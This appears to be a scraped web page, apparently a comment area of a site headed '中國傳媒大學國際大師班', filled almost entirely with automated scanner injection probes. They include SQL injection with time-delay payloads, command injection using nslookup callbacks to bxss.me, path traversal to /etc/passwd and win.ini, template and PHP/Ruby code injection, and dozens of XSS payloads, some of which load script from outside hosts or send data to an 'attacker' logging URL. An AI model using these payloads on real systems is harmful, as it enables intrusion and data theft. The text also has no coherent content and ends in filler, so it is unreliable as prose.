中國傳媒大學國際大師班

e

e

e

1clRvRMLO

e

e

e

d41a0Pmr

-1 OR 2+910-910-1=0+0+0+1 --

-1 OR 3+910-910-1=0+0+0+1 --

YflP8xND

-1 OR 2+773-773-1=0+0+0+1

response.write(9783156*9503862)

-1 OR 3+773-773-1=0+0+0+1

-1' OR 2+987-987-1=0+0+0+1 --

'+response.write(9783156*9503862)+'

e

"+response.write(9783156*9503862)+"

-1' OR 3+987-987-1=0+0+0+1 --

-1' OR 2+139-139-1=0+0+0+1 or 'Cp4zJx2k'='

echo pbqruz$()\ vyabji\nz^xyu||a #' &echo pbqruz$()\ vyabji\nz^xyu||a #|" &echo pbqruz$()\ vyabji\nz^xyu||a #

e

&echo ngmsqi$()\ qqxanf\nz^xyu||a #' &echo ngmsqi$()\ qqxanf\nz^xyu||a #|" &echo ngmsqi$()\ qqxanf\nz^xyu||a #

-1' OR 3+139-139-1=0+0+0+1 or 'Cp4zJx2k'='

|echo fxvrtx$()\ lshsto\nz^xyu||a #' |echo fxvrtx$()\ lshsto\nz^xyu||a #|" |echo fxvrtx$()\ lshsto\nz^xyu||a #

e<esi:include src="http://bxss.me/rpb.png"/>

-1" OR 2+913-913-1=0+0+0+1 --

${10000263+9999573}

e

../../../../../../../../../../etc/passwd

(nslookup hitgofanvhlsr4a705.bxss.me||perl -e "gethostbyname('hitgofanvhlsr4a705.bxss.me')")

e

e

$(nslookup hitbvrkylnklx39c79.bxss.me||perl -e "gethostbyname('hitbvrkylnklx39c79.bxss.me')")

e

-1" OR 3+913-913-1=0+0+0+1 --

../../../../../../../../../../windows/win.ini

e

if(now()=sysdate(),sleep(15),0)

e

e

&(nslookup hitaekzyoctfd46766.bxss.me||perl -e "gethostbyname('hitaekzyoctfd46766.bxss.me')")&'\"`0&(nslookup hitaekzyoctfd46766.bxss.me||perl -e "gethostbyname('hitaekzyoctfd46766.bxss.me')")&`'

e

e&n915526=v937570

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

|(nslookup hitztxscbllrfb7aab.bxss.me||perl -e "gethostbyname('hitztxscbllrfb7aab.bxss.me')")

../e

`(nslookup hitylyzrvobtv0a35c.bxss.me||perl -e "gethostbyname('hitylyzrvobtv0a35c.bxss.me')")`

e

;(nslookup hitmrguhakmgu669ea.bxss.me||perl -e "gethostbyname('hitmrguhakmgu669ea.bxss.me')")|(nslookup hitmrguhakmgu669ea.bxss.me||perl -e "gethostbyname('hitmrguhakmgu669ea.bxss.me')")&(nslookup hitmrguhakmgu669ea.bxss.me||perl -e "gethostbyname('hitmrguhakmgu669ea.bxss.me')")

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

e

'.gethostbyname(lc('hitrr'.'wfosqdpr3a1e3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(82).chr(109).chr(77).'

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

)

".gethostbyname(lc("hityd"."tkejrsewd128e.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(85).chr(107).chr(82)."

1some_inexistent_file_with_long_name.jpg

!(()&&!|*|*|

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Http://bxss.me/t/fit.txt

e

e

^(#$!@#$)(()))******

http://bxss.me/t/fit.txt?.jpg

e

e

bxss.me

e

1 waitfor delay '0:0:15' --

e

;print(md5(31337));

ZvmKwQYk'; waitfor delay '0:0:15' --

';print(md5(31337));$a='

e

e

e

e

e

";print(md5(31337));$a="

mKM91LLS' OR 648=(SELECT 648 FROM PG_SLEEP(15))--

e

${@print(md5(31337))}

e

${@print(md5(31337))}\

HttP://bxss.me/t/xss.html?%00

e

e

'.print(md5(31337)).'

XtyAfStU') OR 773=(SELECT 773 FROM PG_SLEEP(15))--

"+"A".concat(70-3).concat(22*4).concat(122).concat(69).concat(114).concat(73)+(require"socket" Socket.gethostbyname("hitjn"+"paxggkjg7672b.bxss.me.")[3].to_s)+"

e

e

bxss.me/t/xss.html?%00

e

'+'A'.concat(70-3).concat(22*4).concat(100).concat(77).concat(110).concat(89)+(require'socket' Socket.gethostbyname('hitnu'+'dzmtgvdfcd570.bxss.me.')[3].to_s)+'

e

e

5ehFs0jF')) OR 249=(SELECT 249 FROM PG_SLEEP(15))--

e

e

e

e

e

comment.php

e

e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

comment.php

comment.php/.

e

1'"

e

e

@@pTy6C

e

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

e

e

/xfs.bxss.me

e

'"

906925

e

e

<!--

e

http://xfs.bxss.me

e

//xfs.bxss.me

e

/\xfs.bxss.me

e

e

e'"()&%<acx><ScRiPt >8AM5(9950)</ScRiPt>

'"()&%<acx><ScRiPt >8AM5(9089)</ScRiPt>

e

e9199368

e

acu10273＜s1﹥s2ʺs3ʹuca10273

e

e

e

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

e

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

e<ScRiPt >8AM5(9775)</ScRiPt>

e<W4DSA2>FA79B[!+!]</W4DSA2>

e<script>8AM5(9888)</script>

e<ScR<ScRiPt>IpT>8AM5(9788)</sCr<ScRiPt>IpT>

e<ScRiPt >8AM5(9119)</ScRiPt>

e<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9321></ScRiPt>

e<ScRiPt >8AM5(9034)</ScRiPt>

e<isindex type=image src=1 onerror=8AM5(9535)>

e<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9559'>

e<body onload=8AM5(9442)>

e<img src=//xss.bxss.me/t/dot.gif onload=8AM5(9509)>

e<img src=xyz OnErRor=8AM5(9607)>

e<img/src=">" onerror=alert(9696)>

%65%3C%53%63%52%69%50%74%20%3E%38%41%4D%35%289001%29%3C%2F%73%43%72%69%70%54%3E

e\u003CScRiPt\8AM5(9970)\u003C/sCripT\u003E

e&lt;ScRiPt&gt;8AM5(9602)&lt;/sCripT&gt;

e<input autofocus onfocus=8AM5(9849)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

e}body{acu:Expre/**/SSion(8AM5(9512))}

e<% contenteditable onresize=8AM5(9233)>

eQn4Dl <ScRiPt >8AM5(9015)</ScRiPt>

e<WXH40Z>I74E9[!+!]</WXH40Z>

e<ifRAme sRc=9610.com></IfRamE>

e<92DnKv x=9979>

e<img sRc='http://attacker-9856/log.php?

e

e<RpuJGM<

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e

e